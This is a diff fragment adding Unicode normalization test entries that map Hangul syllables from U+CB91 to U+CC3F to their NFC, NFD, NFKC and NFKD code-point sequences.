+{ source: [0xCB91], NFC: [0xCB91], NFD: [0x110D, 0x1170, 0x11B8], NFKC: [0xCB91], NFKD: [0x110D, 0x1170, 0x11B8] },
+{ source: [0xCB92], NFC: [0xCB92], NFD: [0x110D, 0x1170, 0x11B9], NFKC: [0xCB92], NFKD: [0x110D, 0x1170, 0x11B9] },
+{ source: [0xCB93], NFC: [0xCB93], NFD: [0x110D, 0x1170, 0x11BA], NFKC: [0xCB93], NFKD: [0x110D, 0x1170, 0x11BA] },
+{ source: [0xCB94], NFC: [0xCB94], NFD: [0x110D, 0x1170, 0x11BB], NFKC: [0xCB94], NFKD: [0x110D, 0x1170, 0x11BB] },
+{ source: [0xCB95], NFC: [0xCB95], NFD: [0x110D, 0x1170, 0x11BC], NFKC: [0xCB95], NFKD: [0x110D, 0x1170, 0x11BC] },
+{ source: [0xCB96], NFC: [0xCB96], NFD: [0x110D, 0x1170, 0x11BD], NFKC: [0xCB96], NFKD: [0x110D, 0x1170, 0x11BD] },
+{ source: [0xCB97], NFC: [0xCB97], NFD: [0x110D, 0x1170, 0x11BE], NFKC: [0xCB97], NFKD: [0x110D, 0x1170, 0x11BE] },
+{ source: [0xCB98], NFC: [0xCB98], NFD: [0x110D, 0x1170, 0x11BF], NFKC: [0xCB98], NFKD: [0x110D, 0x1170, 0x11BF] },
+{ source: [0xCB99], NFC: [0xCB99], NFD: [0x110D, 0x1170, 0x11C0], NFKC: [0xCB99], NFKD: [0x110D, 0x1170, 0x11C0] },
+{ source: [0xCB9A], NFC: [0xCB9A], NFD: [0x110D, 0x1170, 0x11C1], NFKC: [0xCB9A], NFKD: [0x110D, 0x1170, 0x11C1] },
+{ source: [0xCB9B], NFC: [0xCB9B], NFD: [0x110D, 0x1170, 0x11C2], NFKC: [0xCB9B], NFKD: [0x110D, 0x1170, 0x11C2] },
+{ source: [0xCB9C], NFC: [0xCB9C], NFD: [0x110D, 0x1171], NFKC: [0xCB9C], NFKD: [0x110D, 0x1171] },
+{ source: [0xCB9D], NFC: [0xCB9D], NFD: [0x110D, 0x1171, 0x11A8], NFKC: [0xCB9D], NFKD: [0x110D, 0x1171, 0x11A8] },
+{ source: [0xCB9E], NFC: [0xCB9E], NFD: [0x110D, 0x1171, 0x11A9], NFKC: [0xCB9E], NFKD: [0x110D, 0x1171, 0x11A9] },
+{ source: [0xCB9F], NFC: [0xCB9F], NFD: [0x110D, 0x1171, 0x11AA], NFKC: [0xCB9F], NFKD: [0x110D, 0x1171, 0x11AA] },
+{ source: [0xCBA0], NFC: [0xCBA0], NFD: [0x110D, 0x1171, 0x11AB], NFKC: [0xCBA0], NFKD: [0x110D, 0x1171, 0x11AB] },
+{ source: [0xCBA1], NFC: [0xCBA1], NFD: [0x110D, 0x1171, 0x11AC], NFKC: [0xCBA1], NFKD: [0x110D, 0x1171, 0x11AC] },
+{ source: [0xCBA2], NFC: [0xCBA2], NFD: [0x110D, 0x1171, 0x11AD], NFKC: [0xCBA2], NFKD: [0x110D, 0x1171, 0x11AD] },
+{ source: [0xCBA3], NFC: [0xCBA3], NFD: [0x110D, 0x1171, 0x11AE], NFKC: [0xCBA3], NFKD: [0x110D, 0x1171, 0x11AE] },
+{ source: [0xCBA4], NFC: [0xCBA4], NFD: [0x110D, 0x1171, 0x11AF], NFKC: [0xCBA4], NFKD: [0x110D, 0x1171, 0x11AF] },
+{ source: [0xCBA5], NFC: [0xCBA5], NFD: [0x110D, 0x1171, 0x11B0], NFKC: [0xCBA5], NFKD: [0x110D, 0x1171, 0x11B0] },
+{ source: [0xCBA6], NFC: [0xCBA6], NFD: [0x110D, 0x1171, 0x11B1], NFKC: [0xCBA6], NFKD: [0x110D, 0x1171, 0x11B1] },
+{ source: [0xCBA7], NFC: [0xCBA7], NFD: [0x110D, 0x1171, 0x11B2], NFKC: [0xCBA7], NFKD: [0x110D, 0x1171, 0x11B2] },
+{ source: [0xCBA8], NFC: [0xCBA8], NFD: [0x110D, 0x1171, 0x11B3], NFKC: [0xCBA8], NFKD: [0x110D, 0x1171, 0x11B3] },
+{ source: [0xCBA9], NFC: [0xCBA9], NFD: [0x110D, 0x1171, 0x11B4], NFKC: [0xCBA9], NFKD: [0x110D, 0x1171, 0x11B4] },
+{ source: [0xCBAA], NFC: [0xCBAA], NFD: [0x110D, 0x1171, 0x11B5], NFKC: [0xCBAA], NFKD: [0x110D, 0x1171, 0x11B5] },
+{ source: [0xCBAB], NFC: [0xCBAB], NFD: [0x110D, 0x1171, 0x11B6], NFKC: [0xCBAB], NFKD: [0x110D, 0x1171, 0x11B6] },
+{ source: [0xCBAC], NFC: [0xCBAC], NFD: [0x110D, 0x1171, 0x11B7], NFKC: [0xCBAC], NFKD: [0x110D, 0x1171, 0x11B7] },
+{ source: [0xCBAD], NFC: [0xCBAD], NFD: [0x110D, 0x1171, 0x11B8], NFKC: [0xCBAD], NFKD: [0x110D, 0x1171, 0x11B8] },
+{ source: [0xCBAE], NFC: [0xCBAE], NFD: [0x110D, 0x1171, 0x11B9], NFKC: [0xCBAE], NFKD: [0x110D, 0x1171, 0x11B9] },
+{ source: [0xCBAF], NFC: [0xCBAF], NFD: [0x110D, 0x1171, 0x11BA], NFKC: [0xCBAF], NFKD: [0x110D, 0x1171, 0x11BA] },
+{ source: [0xCBB0], NFC: [0xCBB0], NFD: [0x110D, 0x1171, 0x11BB], NFKC: [0xCBB0], NFKD: [0x110D, 0x1171, 0x11BB] },
+{ source: [0xCBB1], NFC: [0xCBB1], NFD: [0x110D, 0x1171, 0x11BC], NFKC: [0xCBB1], NFKD: [0x110D, 0x1171, 0x11BC] },
+{ source: [0xCBB2], NFC: [0xCBB2], NFD: [0x110D, 0x1171, 0x11BD], NFKC: [0xCBB2], NFKD: [0x110D, 0x1171, 0x11BD] },
+{ source: [0xCBB3], NFC: [0xCBB3], NFD: [0x110D, 0x1171, 0x11BE], NFKC: [0xCBB3], NFKD: [0x110D, 0x1171, 0x11BE] },
+{ source: [0xCBB4], NFC: [0xCBB4], NFD: [0x110D, 0x1171, 0x11BF], NFKC: [0xCBB4], NFKD: [0x110D, 0x1171, 0x11BF] },
+{ source: [0xCBB5], NFC: [0xCBB5], NFD: [0x110D, 0x1171, 0x11C0], NFKC: [0xCBB5], NFKD: [0x110D, 0x1171, 0x11C0] },
+{ source: [0xCBB6], NFC: [0xCBB6], NFD: [0x110D, 0x1171, 0x11C1], NFKC: [0xCBB6], NFKD: [0x110D, 0x1171, 0x11C1] },
+{ source: [0xCBB7], NFC: [0xCBB7], NFD: [0x110D, 0x1171, 0x11C2], NFKC: [0xCBB7], NFKD: [0x110D, 0x1171, 0x11C2] },
+{ source: [0xCBB8], NFC: [0xCBB8], NFD: [0x110D, 0x1172], NFKC: [0xCBB8], NFKD: [0x110D, 0x1172] },
+{ source: [0xCBB9], NFC: [0xCBB9], NFD: [0x110D, 0x1172, 0x11A8], NFKC: [0xCBB9], NFKD: [0x110D, 0x1172, 0x11A8] },
+{ source: [0xCBBA], NFC: [0xCBBA], NFD: [0x110D, 0x1172, 0x11A9], NFKC: [0xCBBA], NFKD: [0x110D, 0x1172, 0x11A9] },
+{ source: [0xCBBB], NFC: [0xCBBB], NFD: [0x110D, 0x1172, 0x11AA], NFKC: [0xCBBB], NFKD: [0x110D, 0x1172, 0x11AA] },
+{ source: [0xCBBC], NFC: [0xCBBC], NFD: [0x110D, 0x1172, 0x11AB], NFKC: [0xCBBC], NFKD: [0x110D, 0x1172, 0x11AB] },
+{ source: [0xCBBD], NFC: [0xCBBD], NFD: [0x110D, 0x1172, 0x11AC], NFKC: [0xCBBD], NFKD: [0x110D, 0x1172, 0x11AC] },
+{ source: [0xCBBE], NFC: [0xCBBE], NFD: [0x110D, 0x1172, 0x11AD], NFKC: [0xCBBE], NFKD: [0x110D, 0x1172, 0x11AD] },
+{ source: [0xCBBF], NFC: [0xCBBF], NFD: [0x110D, 0x1172, 0x11AE], NFKC: [0xCBBF], NFKD: [0x110D, 0x1172, 0x11AE] },
+{ source: [0xCBC0], NFC: [0xCBC0], NFD: [0x110D, 0x1172, 0x11AF], NFKC: [0xCBC0], NFKD: [0x110D, 0x1172, 0x11AF] },
+{ source: [0xCBC1], NFC: [0xCBC1], NFD: [0x110D, 0x1172, 0x11B0], NFKC: [0xCBC1], NFKD: [0x110D, 0x1172, 0x11B0] },
+{ source: [0xCBC2], NFC: [0xCBC2], NFD: [0x110D, 0x1172, 0x11B1], NFKC: [0xCBC2], NFKD: [0x110D, 0x1172, 0x11B1] },
+{ source: [0xCBC3], NFC: [0xCBC3], NFD: [0x110D, 0x1172, 0x11B2], NFKC: [0xCBC3], NFKD: [0x110D, 0x1172, 0x11B2] },
+{ source: [0xCBC4], NFC: [0xCBC4], NFD: [0x110D, 0x1172, 0x11B3], NFKC: [0xCBC4], NFKD: [0x110D, 0x1172, 0x11B3] },
+{ source: [0xCBC5], NFC: [0xCBC5], NFD: [0x110D, 0x1172, 0x11B4], NFKC: [0xCBC5], NFKD: [0x110D, 0x1172, 0x11B4] },
+{ source: [0xCBC6], NFC: [0xCBC6], NFD: [0x110D, 0x1172, 0x11B5], NFKC: [0xCBC6], NFKD: [0x110D, 0x1172, 0x11B5] },
+{ source: [0xCBC7], NFC: [0xCBC7], NFD: [0x110D, 0x1172, 0x11B6], NFKC: [0xCBC7], NFKD: [0x110D, 0x1172, 0x11B6] },
+{ source: [0xCBC8], NFC: [0xCBC8], NFD: [0x110D, 0x1172, 0x11B7], NFKC: [0xCBC8], NFKD: [0x110D, 0x1172, 0x11B7] },
+{ source: [0xCBC9], NFC: [0xCBC9], NFD: [0x110D, 0x1172, 0x11B8], NFKC: [0xCBC9], NFKD: [0x110D, 0x1172, 0x11B8] },
+{ source: [0xCBCA], NFC: [0xCBCA], NFD: [0x110D, 0x1172, 0x11B9], NFKC: [0xCBCA], NFKD: [0x110D, 0x1172, 0x11B9] },
+{ source: [0xCBCB], NFC: [0xCBCB], NFD: [0x110D, 0x1172, 0x11BA], NFKC: [0xCBCB], NFKD: [0x110D, 0x1172, 0x11BA] },
+{ source: [0xCBCC], NFC: [0xCBCC], NFD: [0x110D, 0x1172, 0x11BB], NFKC: [0xCBCC], NFKD: [0x110D, 0x1172, 0x11BB] },
+{ source: [0xCBCD], NFC: [0xCBCD], NFD: [0x110D, 0x1172, 0x11BC], NFKC: [0xCBCD], NFKD: [0x110D, 0x1172, 0x11BC] },
+{ source: [0xCBCE], NFC: [0xCBCE], NFD: [0x110D, 0x1172, 0x11BD], NFKC: [0xCBCE], NFKD: [0x110D, 0x1172, 0x11BD] },
+{ source: [0xCBCF], NFC: [0xCBCF], NFD: [0x110D, 0x1172, 0x11BE], NFKC: [0xCBCF], NFKD: [0x110D, 0x1172, 0x11BE] },
+{ source: [0xCBD0], NFC: [0xCBD0], NFD: [0x110D, 0x1172, 0x11BF], NFKC: [0xCBD0], NFKD: [0x110D, 0x1172, 0x11BF] },
+{ source: [0xCBD1], NFC: [0xCBD1], NFD: [0x110D, 0x1172, 0x11C0], NFKC: [0xCBD1], NFKD: [0x110D, 0x1172, 0x11C0] },
+{ source: [0xCBD2], NFC: [0xCBD2], NFD: [0x110D, 0x1172, 0x11C1], NFKC: [0xCBD2], NFKD: [0x110D, 0x1172, 0x11C1] },
+{ source: [0xCBD3], NFC: [0xCBD3], NFD: [0x110D, 0x1172, 0x11C2], NFKC: [0xCBD3], NFKD: [0x110D, 0x1172, 0x11C2] },
+{ source: [0xCBD4], NFC: [0xCBD4], NFD: [0x110D, 0x1173], NFKC: [0xCBD4], NFKD: [0x110D, 0x1173] },
+{ source: [0xCBD5], NFC: [0xCBD5], NFD: [0x110D, 0x1173, 0x11A8], NFKC: [0xCBD5], NFKD: [0x110D, 0x1173, 0x11A8] },
+{ source: [0xCBD6], NFC: [0xCBD6], NFD: [0x110D, 0x1173, 0x11A9], NFKC: [0xCBD6], NFKD: [0x110D, 0x1173, 0x11A9] },
+{ source: [0xCBD7], NFC: [0xCBD7], NFD: [0x110D, 0x1173, 0x11AA], NFKC: [0xCBD7], NFKD: [0x110D, 0x1173, 0x11AA] },
+{ source: [0xCBD8], NFC: [0xCBD8], NFD: [0x110D, 0x1173, 0x11AB], NFKC: [0xCBD8], NFKD: [0x110D, 0x1173, 0x11AB] },
+{ source: [0xCBD9], NFC: [0xCBD9], NFD: [0x110D, 0x1173, 0x11AC], NFKC: [0xCBD9], NFKD: [0x110D, 0x1173, 0x11AC] },
+{ source: [0xCBDA], NFC: [0xCBDA], NFD: [0x110D, 0x1173, 0x11AD], NFKC: [0xCBDA], NFKD: [0x110D, 0x1173, 0x11AD] },
+{ source: [0xCBDB], NFC: [0xCBDB], NFD: [0x110D, 0x1173, 0x11AE], NFKC: [0xCBDB], NFKD: [0x110D, 0x1173, 0x11AE] },
+{ source: [0xCBDC], NFC: [0xCBDC], NFD: [0x110D, 0x1173, 0x11AF], NFKC: [0xCBDC], NFKD: [0x110D, 0x1173, 0x11AF] },
+{ source: [0xCBDD], NFC: [0xCBDD], NFD: [0x110D, 0x1173, 0x11B0], NFKC: [0xCBDD], NFKD: [0x110D, 0x1173, 0x11B0] },
+{ source: [0xCBDE], NFC: [0xCBDE], NFD: [0x110D, 0x1173, 0x11B1], NFKC: [0xCBDE], NFKD: [0x110D, 0x1173, 0x11B1] },
+{ source: [0xCBDF], NFC: [0xCBDF], NFD: [0x110D, 0x1173, 0x11B2], NFKC: [0xCBDF], NFKD: [0x110D, 0x1173, 0x11B2] },
+{ source: [0xCBE0], NFC: [0xCBE0], NFD: [0x110D, 0x1173, 0x11B3], NFKC: [0xCBE0], NFKD: [0x110D, 0x1173, 0x11B3] },
+{ source: [0xCBE1], NFC: [0xCBE1], NFD: [0x110D, 0x1173, 0x11B4], NFKC: [0xCBE1], NFKD: [0x110D, 0x1173, 0x11B4] },
+{ source: [0xCBE2], NFC: [0xCBE2], NFD: [0x110D, 0x1173, 0x11B5], NFKC: [0xCBE2], NFKD: [0x110D, 0x1173, 0x11B5] },
+{ source: [0xCBE3], NFC: [0xCBE3], NFD: [0x110D, 0x1173, 0x11B6], NFKC: [0xCBE3], NFKD: [0x110D, 0x1173, 0x11B6] },
+{ source: [0xCBE4], NFC: [0xCBE4], NFD: [0x110D, 0x1173, 0x11B7], NFKC: [0xCBE4], NFKD: [0x110D, 0x1173, 0x11B7] },
+{ source: [0xCBE5], NFC: [0xCBE5], NFD: [0x110D, 0x1173, 0x11B8], NFKC: [0xCBE5], NFKD: [0x110D, 0x1173, 0x11B8] },
+{ source: [0xCBE6], NFC: [0xCBE6], NFD: [0x110D, 0x1173, 0x11B9], NFKC: [0xCBE6], NFKD: [0x110D, 0x1173, 0x11B9] },
+{ source: [0xCBE7], NFC: [0xCBE7], NFD: [0x110D, 0x1173, 0x11BA], NFKC: [0xCBE7], NFKD: [0x110D, 0x1173, 0x11BA] },
+{ source: [0xCBE8], NFC: [0xCBE8], NFD: [0x110D, 0x1173, 0x11BB], NFKC: [0xCBE8], NFKD: [0x110D, 0x1173, 0x11BB] },
+{ source: [0xCBE9], NFC: [0xCBE9], NFD: [0x110D, 0x1173, 0x11BC], NFKC: [0xCBE9], NFKD: [0x110D, 0x1173, 0x11BC] },
+{ source: [0xCBEA], NFC: [0xCBEA], NFD: [0x110D, 0x1173, 0x11BD], NFKC: [0xCBEA], NFKD: [0x110D, 0x1173, 0x11BD] },
+{ source: [0xCBEB], NFC: [0xCBEB], NFD: [0x110D, 0x1173, 0x11BE], NFKC: [0xCBEB], NFKD: [0x110D, 0x1173, 0x11BE] },
+{ source: [0xCBEC], NFC: [0xCBEC], NFD: [0x110D, 0x1173, 0x11BF], NFKC: [0xCBEC], NFKD: [0x110D, 0x1173, 0x11BF] },
+{ source: [0xCBED], NFC: [0xCBED], NFD: [0x110D, 0x1173, 0x11C0], NFKC: [0xCBED], NFKD: [0x110D, 0x1173, 0x11C0] },
+{ source: [0xCBEE], NFC: [0xCBEE], NFD: [0x110D, 0x1173, 0x11C1], NFKC: [0xCBEE], NFKD: [0x110D, 0x1173, 0x11C1] },
+{ source: [0xCBEF], NFC: [0xCBEF], NFD: [0x110D, 0x1173, 0x11C2], NFKC: [0xCBEF], NFKD: [0x110D, 0x1173, 0x11C2] },
+{ source: [0xCBF0], NFC: [0xCBF0], NFD: [0x110D, 0x1174], NFKC: [0xCBF0], NFKD: [0x110D, 0x1174] },
+{ source: [0xCBF1], NFC: [0xCBF1], NFD: [0x110D, 0x1174, 0x11A8], NFKC: [0xCBF1], NFKD: [0x110D, 0x1174, 0x11A8] },
+{ source: [0xCBF2], NFC: [0xCBF2], NFD: [0x110D, 0x1174, 0x11A9], NFKC: [0xCBF2], NFKD: [0x110D, 0x1174, 0x11A9] },
+{ source: [0xCBF3], NFC: [0xCBF3], NFD: [0x110D, 0x1174, 0x11AA], NFKC: [0xCBF3], NFKD: [0x110D, 0x1174, 0x11AA] },
+{ source: [0xCBF4], NFC: [0xCBF4], NFD: [0x110D, 0x1174, 0x11AB], NFKC: [0xCBF4], NFKD: [0x110D, 0x1174, 0x11AB] },
+{ source: [0xCBF5], NFC: [0xCBF5], NFD: [0x110D, 0x1174, 0x11AC], NFKC: [0xCBF5], NFKD: [0x110D, 0x1174, 0x11AC] },
+{ source: [0xCBF6], NFC: [0xCBF6], NFD: [0x110D, 0x1174, 0x11AD], NFKC: [0xCBF6], NFKD: [0x110D, 0x1174, 0x11AD] },
+{ source: [0xCBF7], NFC: [0xCBF7], NFD: [0x110D, 0x1174, 0x11AE], NFKC: [0xCBF7], NFKD: [0x110D, 0x1174, 0x11AE] },
+{ source: [0xCBF8], NFC: [0xCBF8], NFD: [0x110D, 0x1174, 0x11AF], NFKC: [0xCBF8], NFKD: [0x110D, 0x1174, 0x11AF] },
+{ source: [0xCBF9], NFC: [0xCBF9], NFD: [0x110D, 0x1174, 0x11B0], NFKC: [0xCBF9], NFKD: [0x110D, 0x1174, 0x11B0] },
+{ source: [0xCBFA], NFC: [0xCBFA], NFD: [0x110D, 0x1174, 0x11B1], NFKC: [0xCBFA], NFKD: [0x110D, 0x1174, 0x11B1] },
+{ source: [0xCBFB], NFC: [0xCBFB], NFD: [0x110D, 0x1174, 0x11B2], NFKC: [0xCBFB], NFKD: [0x110D, 0x1174, 0x11B2] },
+{ source: [0xCBFC], NFC: [0xCBFC], NFD: [0x110D, 0x1174, 0x11B3], NFKC: [0xCBFC], NFKD: [0x110D, 0x1174, 0x11B3] },
+{ source: [0xCBFD], NFC: [0xCBFD], NFD: [0x110D, 0x1174, 0x11B4], NFKC: [0xCBFD], NFKD: [0x110D, 0x1174, 0x11B4] },
+{ source: [0xCBFE], NFC: [0xCBFE], NFD: [0x110D, 0x1174, 0x11B5], NFKC: [0xCBFE], NFKD: [0x110D, 0x1174, 0x11B5] },
+{ source: [0xCBFF], NFC: [0xCBFF], NFD: [0x110D, 0x1174, 0x11B6], NFKC: [0xCBFF], NFKD: [0x110D, 0x1174, 0x11B6] },
+{ source: [0xCC00], NFC: [0xCC00], NFD: [0x110D, 0x1174, 0x11B7], NFKC: [0xCC00], NFKD: [0x110D, 0x1174, 0x11B7] },
+{ source: [0xCC01], NFC: [0xCC01], NFD: [0x110D, 0x1174, 0x11B8], NFKC: [0xCC01], NFKD: [0x110D, 0x1174, 0x11B8] },
+{ source: [0xCC02], NFC: [0xCC02], NFD: [0x110D, 0x1174, 0x11B9], NFKC: [0xCC02], NFKD: [0x110D, 0x1174, 0x11B9] },
+{ source: [0xCC03], NFC: [0xCC03], NFD: [0x110D, 0x1174, 0x11BA], NFKC: [0xCC03], NFKD: [0x110D, 0x1174, 0x11BA] },
+{ source: [0xCC04], NFC: [0xCC04], NFD: [0x110D, 0x1174, 0x11BB], NFKC: [0xCC04], NFKD: [0x110D, 0x1174, 0x11BB] },
+{ source: [0xCC05], NFC: [0xCC05], NFD: [0x110D, 0x1174, 0x11BC], NFKC: [0xCC05], NFKD: [0x110D, 0x1174, 0x11BC] },
+{ source: [0xCC06], NFC: [0xCC06], NFD: [0x110D, 0x1174, 0x11BD], NFKC: [0xCC06], NFKD: [0x110D, 0x1174, 0x11BD] },
+{ source: [0xCC07], NFC: [0xCC07], NFD: [0x110D, 0x1174, 0x11BE], NFKC: [0xCC07], NFKD: [0x110D, 0x1174, 0x11BE] },
+{ source: [0xCC08], NFC: [0xCC08], NFD: [0x110D, 0x1174, 0x11BF], NFKC: [0xCC08], NFKD: [0x110D, 0x1174, 0x11BF] },
+{ source: [0xCC09], NFC: [0xCC09], NFD: [0x110D, 0x1174, 0x11C0], NFKC: [0xCC09], NFKD: [0x110D, 0x1174, 0x11C0] },
+{ source: [0xCC0A], NFC: [0xCC0A], NFD: [0x110D, 0x1174, 0x11C1], NFKC: [0xCC0A], NFKD: [0x110D, 0x1174, 0x11C1] },
+{ source: [0xCC0B], NFC: [0xCC0B], NFD: [0x110D, 0x1174, 0x11C2], NFKC: [0xCC0B], NFKD: [0x110D, 0x1174, 0x11C2] },
+{ source: [0xCC0C], NFC: [0xCC0C], NFD: [0x110D, 0x1175], NFKC: [0xCC0C], NFKD: [0x110D, 0x1175] },
+{ source: [0xCC0D], NFC: [0xCC0D], NFD: [0x110D, 0x1175, 0x11A8], NFKC: [0xCC0D], NFKD: [0x110D, 0x1175, 0x11A8] },
+{ source: [0xCC0E], NFC: [0xCC0E], NFD: [0x110D, 0x1175, 0x11A9], NFKC: [0xCC0E], NFKD: [0x110D, 0x1175, 0x11A9] },
+{ source: [0xCC0F], NFC: [0xCC0F], NFD: [0x110D, 0x1175, 0x11AA], NFKC: [0xCC0F], NFKD: [0x110D, 0x1175, 0x11AA] },
+{ source: [0xCC10], NFC: [0xCC10], NFD: [0x110D, 0x1175, 0x11AB], NFKC: [0xCC10], NFKD: [0x110D, 0x1175, 0x11AB] },
+{ source: [0xCC11], NFC: [0xCC11], NFD: [0x110D, 0x1175, 0x11AC], NFKC: [0xCC11], NFKD: [0x110D, 0x1175, 0x11AC] },
+{ source: [0xCC12], NFC: [0xCC12], NFD: [0x110D, 0x1175, 0x11AD], NFKC: [0xCC12], NFKD: [0x110D, 0x1175, 0x11AD] },
+{ source: [0xCC13], NFC: [0xCC13], NFD: [0x110D, 0x1175, 0x11AE], NFKC: [0xCC13], NFKD: [0x110D, 0x1175, 0x11AE] },
+{ source: [0xCC14], NFC: [0xCC14], NFD: [0x110D, 0x1175, 0x11AF], NFKC: [0xCC14], NFKD: [0x110D, 0x1175, 0x11AF] },
+{ source: [0xCC15], NFC: [0xCC15], NFD: [0x110D, 0x1175, 0x11B0], NFKC: [0xCC15], NFKD: [0x110D, 0x1175, 0x11B0] },
+{ source: [0xCC16], NFC: [0xCC16], NFD: [0x110D, 0x1175, 0x11B1], NFKC: [0xCC16], NFKD: [0x110D, 0x1175, 0x11B1] },
+{ source: [0xCC17], NFC: [0xCC17], NFD: [0x110D, 0x1175, 0x11B2], NFKC: [0xCC17], NFKD: [0x110D, 0x1175, 0x11B2] },
+{ source: [0xCC18], NFC: [0xCC18], NFD: [0x110D, 0x1175, 0x11B3], NFKC: [0xCC18], NFKD: [0x110D, 0x1175, 0x11B3] },
+{ source: [0xCC19], NFC: [0xCC19], NFD: [0x110D, 0x1175, 0x11B4], NFKC: [0xCC19], NFKD: [0x110D, 0x1175, 0x11B4] },
+{ source: [0xCC1A], NFC: [0xCC1A], NFD: [0x110D, 0x1175, 0x11B5], NFKC: [0xCC1A], NFKD: [0x110D, 0x1175, 0x11B5] },
+{ source: [0xCC1B], NFC: [0xCC1B], NFD: [0x110D, 0x1175, 0x11B6], NFKC: [0xCC1B], NFKD: [0x110D, 0x1175, 0x11B6] },
+{ source: [0xCC1C], NFC: [0xCC1C], NFD: [0x110D, 0x1175, 0x11B7], NFKC: [0xCC1C], NFKD: [0x110D, 0x1175, 0x11B7] },
+{ source: [0xCC1D], NFC: [0xCC1D], NFD: [0x110D, 0x1175, 0x11B8], NFKC: [0xCC1D], NFKD: [0x110D, 0x1175, 0x11B8] },
+{ source: [0xCC1E], NFC: [0xCC1E], NFD: [0x110D, 0x1175, 0x11B9], NFKC: [0xCC1E], NFKD: [0x110D, 0x1175, 0x11B9] },
+{ source: [0xCC1F], NFC: [0xCC1F], NFD: [0x110D, 0x1175, 0x11BA], NFKC: [0xCC1F], NFKD: [0x110D, 0x1175, 0x11BA] },
+{ source: [0xCC20], NFC: [0xCC20], NFD: [0x110D, 0x1175, 0x11BB], NFKC: [0xCC20], NFKD: [0x110D, 0x1175, 0x11BB] },
+{ source: [0xCC21], NFC: [0xCC21], NFD: [0x110D, 0x1175, 0x11BC], NFKC: [0xCC21], NFKD: [0x110D, 0x1175, 0x11BC] },
+{ source: [0xCC22], NFC: [0xCC22], NFD: [0x110D, 0x1175, 0x11BD], NFKC: [0xCC22], NFKD: [0x110D, 0x1175, 0x11BD] },
+{ source: [0xCC23], NFC: [0xCC23], NFD: [0x110D, 0x1175, 0x11BE], NFKC: [0xCC23], NFKD: [0x110D, 0x1175, 0x11BE] },
+{ source: [0xCC24], NFC: [0xCC24], NFD: [0x110D, 0x1175, 0x11BF], NFKC: [0xCC24], NFKD: [0x110D, 0x1175, 0x11BF] },
+{ source: [0xCC25], NFC: [0xCC25], NFD: [0x110D, 0x1175, 0x11C0], NFKC: [0xCC25], NFKD: [0x110D, 0x1175, 0x11C0] },
+{ source: [0xCC26], NFC: [0xCC26], NFD: [0x110D, 0x1175, 0x11C1], NFKC: [0xCC26], NFKD: [0x110D, 0x1175, 0x11C1] },
+{ source: [0xCC27], NFC: [0xCC27], NFD: [0x110D, 0x1175, 0x11C2], NFKC: [0xCC27], NFKD: [0x110D, 0x1175, 0x11C2] },
+{ source: [0xCC28], NFC: [0xCC28], NFD: [0x110E, 0x1161], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0xCC29], NFC: [0xCC29], NFD: [0x110E, 0x1161, 0x11A8], NFKC: [0xCC29], NFKD: [0x110E, 0x1161, 0x11A8] },
+{ source: [0xCC2A], NFC: [0xCC2A], NFD: [0x110E, 0x1161, 0x11A9], NFKC: [0xCC2A], NFKD: [0x110E, 0x1161, 0x11A9] },
+{ source: [0xCC2B], NFC: [0xCC2B], NFD: [0x110E, 0x1161, 0x11AA], NFKC: [0xCC2B], NFKD: [0x110E, 0x1161, 0x11AA] },
+{ source: [0xCC2C], NFC: [0xCC2C], NFD: [0x110E, 0x1161, 0x11AB], NFKC: [0xCC2C], NFKD: [0x110E, 0x1161, 0x11AB] },
+{ source: [0xCC2D], NFC: [0xCC2D], NFD: [0x110E, 0x1161, 0x11AC], NFKC: [0xCC2D], NFKD: [0x110E, 0x1161, 0x11AC] },
+{ source: [0xCC2E], NFC: [0xCC2E], NFD: [0x110E, 0x1161, 0x11AD], NFKC: [0xCC2E], NFKD: [0x110E, 0x1161, 0x11AD] },
+{ source: [0xCC2F], NFC: [0xCC2F], NFD: [0x110E, 0x1161, 0x11AE], NFKC: [0xCC2F], NFKD: [0x110E, 0x1161, 0x11AE] },
+{ source: [0xCC30], NFC: [0xCC30], NFD: [0x110E, 0x1161, 0x11AF], NFKC: [0xCC30], NFKD: [0x110E, 0x1161, 0x11AF] },
+{ source: [0xCC31], NFC: [0xCC31], NFD: [0x110E, 0x1161, 0x11B0], NFKC: [0xCC31], NFKD: [0x110E, 0x1161, 0x11B0] },
+{ source: [0xCC32], NFC: [0xCC32], NFD: [0x110E, 0x1161, 0x11B1], NFKC: [0xCC32], NFKD: [0x110E, 0x1161, 0x11B1] },
+{ source: [0xCC33], NFC: [0xCC33], NFD: [0x110E, 0x1161, 0x11B2], NFKC: [0xCC33], NFKD: [0x110E, 0x1161, 0x11B2] },
+{ source: [0xCC34], NFC: [0xCC34], NFD: [0x110E, 0x1161, 0x11B3], NFKC: [0xCC34], NFKD: [0x110E, 0x1161, 0x11B3] },
+{ source: [0xCC35], NFC: [0xCC35], NFD: [0x110E, 0x1161, 0x11B4], NFKC: [0xCC35], NFKD: [0x110E, 0x1161, 0x11B4] },
+{ source: [0xCC36], NFC: [0xCC36], NFD: [0x110E, 0x1161, 0x11B5], NFKC: [0xCC36], NFKD: [0x110E, 0x1161, 0x11B5] },
+{ source: [0xCC37], NFC: [0xCC37], NFD: [0x110E, 0x1161, 0x11B6], NFKC: [0xCC37], NFKD: [0x110E, 0x1161, 0x11B6] },
+{ source: [0xCC38], NFC: [0xCC38], NFD: [0x110E, 0x1161, 0x11B7], NFKC: [0xCC38], NFKD: [0x110E, 0x1161, 0x11B7] },
+{ source: [0xCC39], NFC: [0xCC39], NFD: [0x110E, 0x1161, 0x11B8], NFKC: [0xCC39], NFKD: [0x110E, 0x1161, 0x11B8] },
+{ source: [0xCC3A], NFC: [0xCC3A], NFD: [0x110E, 0x1161, 0x11B9], NFKC: [0xCC3A], NFKD: [0x110E, 0x1161, 0x11B9] },
+{ source: [0xCC3B], NFC: [0xCC3B], NFD: [0x110E, 0x1161, 0x11BA], NFKC: [0xCC3B], NFKD: [0x110E, 0x1161, 0x11BA] },
+{ source: [0xCC3C], NFC: [0xCC3C], NFD: [0x110E, 0x1161, 0x11BB], NFKC: [0xCC3C], NFKD: [0x110E, 0x1161, 0x11BB] },
+{ source: [0xCC3D], NFC: [0xCC3D], NFD: [0x110E, 0x1161, 0x11BC], NFKC: [0xCC3D], NFKD: [0x110E, 0x1161, 0x11BC] },
+{ source: [0xCC3E], NFC: [0xCC3E], NFD: [0x110E, 0x1161, 0x11BD], NFKC: [0xCC3E], NFKD: [0x110E, 0x1161, 0x11BD] },
+{ source: [0xCC3F], NFC: [0xCC3F], NFD: [0x110E, 0x1161, 0x11BE], NFKC: [0xCC3F], NFKD: [0x110E, 0x1161, 0x11BE] },
